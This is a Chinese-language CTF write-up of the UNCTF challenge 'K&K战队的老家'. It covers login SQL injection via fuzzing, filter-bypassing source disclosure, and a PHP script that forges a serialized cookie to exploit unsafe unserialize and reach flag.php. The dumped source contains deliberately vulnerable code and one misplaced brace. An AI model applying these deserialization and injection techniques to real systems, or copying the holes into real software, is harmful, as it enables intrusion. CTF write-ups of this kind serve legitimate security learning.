UNCTF:K&K战队的老家(反序列化|cookie注入)

 打开页面,发现只有一个登录框,我们进行注入,使用burpsuite的fuzzing获取登陆的payload

 

 

 

 

 

使用页面登录,发现只有一个页面可以打开,打开后提示身份信息有问题

 

 

 

 

这时候发现了一个参数m,fuzz后发现过滤了php|base64,我们换成大写绕过获取页面源码

 

将输出的字符串base64解码一下,拿到home的源码:

<?php
error_reporting(0);
include "./inc/config.php";
$mothed = $_GET["m"] ? $_GET["m"] : "index";
$cookie = $_COOKIE["identy"];

if($mothed == "login") {
    
    $username = $_POST["user"];
    $userpass = $_POST["pw"];
    if($username == "" || $userpass == "") {
        die('<script>alert("Account or password cannot be empty");window.location.href="./index.php";</script>');
    }
    waf($username);
    waf($userpass);
    $db->user_check($username, $userpass, $session);
    
}
elseif($mothed == "index") {
    check($cookie, $db, $session);
    echo_index();
}
elseif($mothed == "logout") {
    check($cookie, $db, $session);
    setcookie("identy","");
    die('<script>alert("Goodbye");window.location.href="./index.php";</script>');
}
else {
    mothed_waf($mothed);
    $page = $mothed . ".php";
    include($page);
    check($cookie, $db, $session);
    $d = new debug($session, $d);
    $d->vt($session, $d);
    $d->debug($session);
}
?>

 

继续获config.php和其他页面的源代码

//config.php
<?php
error_reporting(0);
include "session.php";
//include "access.php";
include "func.php";
include "db.php";
$db = new db();
$session = new session();
?>


//session.php
<?php
error_reporting(0);
class session{
    public $choose = 1;
    public $id = 0;
    public $username = "";
}
?>

//func.php
<?php
error_reporting(0);
function waf($str) {
     //过滤,包含大小写
    if(preg_match('/(and|or|if|select|union|sleep|order|group|by|exp|user|from|where|tables|substr|database|join|greatest|like|not|hex|bin|ascii|md5|benchmark|concat|mid|strcmp|left|right|replace|when|\/|=|>|<|\*|\(|\)|~|%|!|&&|,|"|;|#|\^|-)/i', $str) == 1) {
        die('<script>alert("Illegal");window.location.href="./index.php";</script>');
    }
}

function mothed_waf($str) {
    //过滤,可转换大小写绕过
    if(preg_match('/(base64|php|write)/', $str) == 1) {
        die('<script>alert("Illegal");window.location.href="./home.php?m=index";</script>');
    }
    //过滤,包含大小写
    if(preg_match('/(flag|access)/i', $str) == 1) {
        die('<script>alert("Illegal");window.location.href="./home.php?m=index";</script>');
    }
}

function cookie_decode($str) {
    $data = urldecode($str);
    $data = substr($data, 1);
    $arr = explode('&', $data);
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);
        $num = $num - 240;
        $cipher = $cipher.'%'.dechex($num);
    }
    $key = urldecode($cipher);
    $key = base64_decode($key);
    return $key;
}

function cookie_encode($str) { 
    $key = base64_encode($str);  //base64编码
    $key = bin2hex($key);      //字符串转16进制
    $arr = str_split($key, 2);   //分割字符串,每个数组长度为2
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);//十六进制转换为十进制
        $num = $num + 240; //将数组转换为10进制后再加上240
        $cipher = $cipher.'&'.dechex($num);//十进制转换为十六进制,在进行字符串拼接
    }
    return $cipher;
}

function check($str, $db, &$session) {//$_COOKIE["identy"],db,session
    if($str == "") {
        die('<script>alert("Please login again");window.location.href="./index.php";</script>');
    }
    $objstr = cookie_decode($str);//coodie解码
    try {
        $session = unserialize($objstr); //反序列化cookie ,存在反序列化漏洞
        $session->id = intval($session->id);
        waf($session->username);
        
    } catch(Exception $e) {
        die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>');
    }
    $db->index_check($session->id, $session->username);
}

function check1($obj) {
    if($obj->username !== "debuger") {
        setcookie("identy", "");
        die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>');
    }
}

function echo_index() {
    echo base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KICAgIAogICAgPHRpdGxlPmhvbWU8L3RpdGxlPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPG1ldGEgbmFtZT0iYXBwbGUtbW9iaWxlLXdlYi1hcHAtc3RhdHVzLWJhci1zdHlsZSIgY29udGVudD0iYmxhY2siPgogICAgPG1ldGEgbmFtZT0iYXBwbGUtbW9iaWxlLXdlYi1hcHAtY2FwYWJsZSIgY29udGVudD0ieWVzIj4KICAgIDxtZXRhIG5hbWU9ImZvcm1hdC1kZXRlY3Rpb24iIGNvbnRlbnQ9InRlbGVwaG9uZT1ubyI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii4vaG9tZV9maWxlcy9sYXl1aS5jc3MiIG1lZGlhPSJhbGwiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIuL2hvbWVfZmlsZXMvZ2xvYmFsLmNzcyIgbWVkaWE9ImFsbCI+CjxsaW5rIHJlbD0icHJlbG9hZCIgaHJlZj0iLi9ob21lX2ZpbGVzL2YoMSkudHh0IiBhcz0ic2NyaXB0Ij48bGluayByZWw9InByZWxvYWQiIGhyZWY9Ii4vaG9tZV9maWxlcy9mLnR4dCIgYXM9InNjcmlwdCI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLi9ob21lX2ZpbGVzL2YudHh0Ij48L3NjcmlwdD48L2hlYWQ+Cgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImxheXVpLWxheW91dCBsYXl1aS1sYXlvdXQtYWRtaW4iPgogICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLWhlYWRlciBoZWFkZXIgaGVhZGVyLWRlbW8iPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsYXl1aS1tYWluIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJsb2dvIiBocmVmPSIuL2hvbWUucGhwP209aW5kZXgiPgogICAgICA8aW1nIHNyYz0iLi9ob21lX2ZpbGVzL2xvZ28ucG5nIj4KICAgIDwvYT4KICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLWhpZGUteHMiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIuL2hvbWUucGhwP209bG9nb3V0Ij7pgIDlh7rnmbvlvZU8L2E+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsYXl1aS1uYXYtYmFyIiBzdHlsZT0ibGVmdDogNThweDsgdG9wOiA1NXB4OyB3aWR0aDogMHB4OyBvcGFjaXR5OiAwOyI+PC9zcGFuPjwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLXNpZGUgbGF5dWktYmctYmxhY2siPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsYXl1aS1zaWRlLXNjcm9sbCI+CiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9ImxheXVpLW5hdiBsYXl1aS1uYXYtdHJlZSBzaXRlLWRlbW8tbmF2IiBsYXktZmlsdGVyPSJkZW1vIj4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLW5hdi1pdGVtZWQiPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iamF2YXNjcmlwdDo7IiBocmVmPSJqYXZhc2NyaXB0OjsiPui1m+ajjeenmOexjTxzcGFuIGNsYXNzPSJsYXl1aS1uYXYtbW9yZSI+PC9zcGFuPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGRsIGNsYXNzPSJsYXl1aS1uYXYtY2hpbGQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii4vaG9tZS5waHA/bT1pbmRleCI+5biI5YKF5Lus55qE5paH56ugPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIuL2hvbWUucGhwP209aW5kZXgiPkNURueahOiHquaIkeS/ruWFuzwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iLi9ob21lLnBocD9tPWRlYnVnIj7kv7HkuZDpg6jov5Dnu7TmiYvlhow8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L2RsPgogICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxheXVpLW5hdi1iYXIiIHN0eWxlPSJ0b3A6IDUxNy41cHg7IGhlaWdodDogMHB4OyBvcGFjaXR5OiAwOyI+PC9zcGFuPjwvdWw+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLWJvZHkgc2l0ZS1kZW1vIj4KICAgICAgICAgIDxpbWcgc3JjPSIuL2hvbWVfZmlsZXMv6KeG5Zu+LnBuZyI+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ibGF5dWktZm9vdGVyIGZvb3RlciBmb290ZXItZGVtbyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxheXVpLW1haW4iPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8c2NyaXB0IHNyYz0iLi9ob21lX2ZpbGVzL2YoMSkudHh0Ij48L3NjcmlwdD48c2NyaXB0IGFzeW5jPSIiIHNyYz0iLi9ob21lX2ZpbGVzL2Fkc2J5Z29vZ2xlLmpzIj48L3NjcmlwdD4KICAgICAgICA8ZGl2IGNsYXNzPSJzaXRlLXRyZWUtbW9iaWxlIGxheXVpLWhpZGUiPgogICAgICAgICAgICA8aSBjbGFzcz0ibGF5dWktaWNvbiI+7piCPC9pPgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9InNpdGUtbW9iaWxlLXNoYWRlIj48L2Rpdj4KICAgICAgICA8c2NyaXB0IHNyYz0iLi9ob21lX2ZpbGVzL2xheXVpLmpzIiBjaGFyc2V0PSJ1dGYtOCI+PC9zY3JpcHQ+CiAgICAgICAgPHNjcmlwdD4KICAgICAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgdmFyIGVsZW1lbnQgPSBsYXl1aS5lbGVtZW50OwoKICAgICAgICAgICAgZWxlbWVudC5vbignbmF2KGRlbW8pJywgZnVuY3Rpb24oZWxlbSkgewogICAgICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICAgICAgd2luZG93Lmdsb2JhbCA9IHsKICAgICAgICAgICAgcGFnZVR5cGU6ICdkZW1vJywKICAgICAgICAgICAgcHJldmlldzogZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICB2YXIgcHJldmlldyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdMQVlfcHJldmlldycpOwogICAgICAgICAgICAgICAgcmV0dXJuIHByZXZpZXcgPyBwcmV2aWV3LmlubmVySFRNTCA6ICcnOwogICAgICAgICAgICB9CiAgICAgICAgfTsKICAgICAgICA8L3NjcmlwdD4KICAgIDwvZGl2PgoKCgo8L2JvZHk+PC9odG1sPg==");
}

?>


//db.php
<?php
error_reporting(0);
class db{

    public function init() {
        $con = mysql_connect("localhost:3306","dog","123456");
        if(!$con) {
            die("Connect failed: " . mysql_error());
        }
        return $con;
    }

    public function user_check($u, $p, $obj) {//设置cookie的方法
        $sql = "SELECT id,username FROM users WHERE username = '$u' and password = '$p'";
        $con = $this->init();
        mysql_select_db("unctf", $con);
        $result = mysql_query($sql,$con);
        $row = mysql_fetch_array($result);
        if(count($row) >= 4) {
            $obj->id = intval($row['id']);  //1.session的id赋值。 intval()函数默认转成10进制
            $obj->username = $row['username'];//2.session的username赋值
            $serstr = serialize($obj);  //  3.序列化session对象
}
            $serstr = cookie_encode($serstr);  
            
            setcookie('identy', $serstr);
            echo('<script>alert("Login Success");window.location.href="./home.php?m=index";</script>');
        }
        else {
            die('<script>alert("Login Fail");window.location.href="./index.php";</script>');
        }
    }

    public function index_check($i, $u) {
        $sql = "SELECT id,username FROM users WHERE username = '$u' and id = $i";
        $con = $this->init();
        mysql_select_db("unctf", $con);
        $result = mysql_query($sql,$con);
        $row = mysql_fetch_array($result);
        if(count($row) < 4) {
            setcookie("identy", "");
            die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>');
        }
    }
}

?>


//access.php.bak

<?php
error_reporting(0);
$hack_token = '3ecReK&key';
try {
    $d = unserialize($this->funny);
} catch(Exception $e) {
    echo '';
}
?>


//debug.php

<?php
error_reporting(0);
class debug{

    public $choose = 0;
    public $forbidden = "Good Luck :|";
    public $access_token = "";
    public $ob = NULL;
    
    public function __construct($obj, &$d) {//$session, $d
        $this->vt($obj, $d);
        if($this->ob->username !== "debuger") {
            setcookie("identy", "");
            die('<script>alert("Identity problems, please relogin");window.location.href="./index.php";</script>');
        }
    }
    
    public function vt($obj, &$d) {  //$session, $d
        if($this->ob != $obj) {
            $this->ob = $obj;    //ojb=session
        }
        if(!($obj instanceof session)) {//判断obj是不是session的实例
            $d = $obj; //token=session
        }
    }
    
    public function __toString() {//当一个对象被当作字符串对待的时候,会触发这个魔术方法
        if($this->access_token === "") {//这里注意反序列化后access_token要为“”,否则不会包含flag.php文件
            include("flag.php");
        }
    }
    
    public function debug($obj, &$d) {
        $this->vt($obj, $d);
        check1($this->ob); //检查username是否为debuger,这里要相等
        if($this->choose === 0) {
            $this->choose = $this->ob->choose;  //ob=session,session要传入choose=2,但是要不能进入下面的die()函数,使用字符串 "2" 绕过
        }
        if($this->choose !== 1) {
            if($this->choose === 2) {
                die('<script>alert("This is a forbidden option");window.location.href="./home.php?m=debug";</script>');
            }
        }
        
        switch($this->choose)//switch非严格匹配,自动转换类型
        {
        case 1:
            echo "You like hsy :(";
            break;
        case 2:
            echo $this->forbidden;//这里触发__toString()方法,构造forbidden为debug类的对象,echo即可触发
            break;
        default:
            echo "Good debuger :)";
        }
        
    }
    
    public function __destruct() {
        echo '';
    }
}

?>


(这里的access.php.bak是审计代码后fuzz发现的文件)

 

审计代码后编写php脚本构造cookie(funny参数是前面fuzz获取到的一个参数,需要构造传入一个access_token 才能得到flag文件)

<?php
class debug{

    public $forbidden = "";
    public $access_token = "";
    public $ob = NULL;
    public $choose = "2";
    public $id = 2;
    public $username = "debuger";
    public $funny='O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}';
    public function __construct()
    {
        $this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
    }
}
function cookie_encode($str) { 
    $key = base64_encode($str);  //base64编码
    $key = bin2hex($key);      //字符串转16进制
    $arr = str_split($key, 2);   //分割字符串,每个数组长度为2
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);//十六进制转换为十进制
        $num = $num + 240; //将数组转换为10进制后再加上240
        $cipher = $cipher.'&'.dechex($num);//十进制转换为十六进制,在进行字符串拼接
    }
    return $cipher;
}

$a=new debug();

$serstr = serialize($a); 
$serstr = cookie_encode($serstr);  
echo $serstr;

?>

注意这里$funny要传入access_token,而$forbidden 的access_token要为空,不然不会包含flag.php文件

 

将脚本获取的cookie使用url编码,用BurpSuite抓包更改Cookie的identy:

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章